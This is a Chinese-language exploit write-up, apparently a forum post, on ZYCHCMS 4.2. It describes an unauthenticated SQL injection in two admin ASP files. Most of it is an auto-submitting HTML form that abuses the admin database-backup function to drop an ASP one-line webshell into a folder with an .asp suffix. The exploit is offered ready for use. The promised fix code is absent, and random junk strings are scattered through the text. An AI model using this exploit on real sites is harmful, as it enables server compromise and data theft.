ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
& i1 R/ d' u9 w3 Q- D ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
( T3 ?: R. h. P 漏洞原因：未过滤
漏洞代码：
! Y# j- j: f* |. v  r' p 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
" o1 c2 u# ]  u* o
& m; N2 |4 U# `& C: P
* n; D; U4 w5 G/ J. t②后台拿WBSHELL
" }/ u: G5 w% ]- j& S+ O 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
6 x) h2 ]$ k9 m8 R9 J. E: g 这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码

( m7 s. g/ \: p+ [
. M7 s3 H0 i8 t$ v<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
& l5 [, J; u! F7 ?" e' _  y/ s </tr>
# T# `/ F# @1 b. N$ T <tr>
, s! j; p6 q3 W2 M2 l& E( [; o) C/ \" { <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
' L- p# z6 e: v; ? <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
  S1 {& e+ D! g [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
0 g: x1 ]4 l! X/ |$ f! F <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
- X& E( q; c7 t  ^/ u# S  G+ @ </div></td>
</tr>
</table></td></tr></form>
</table>
</td>
</tr>
5 q' g6 I2 [- y# K* w: t+ [' l( P </table>
<script>
7 w6 S) }: e& H" ^ document.all.add.submit();
</script>

) g5 m' K6 q1 b! T+ Y% ~

0 S6 K& Q; n, J( o/ v+ F1 Z: S
9 ]% y% o& C- f. l

' e8 U( D* C8 Y( D" u! l# G
6 \) w  D( Q0 U. L( a7 b7 I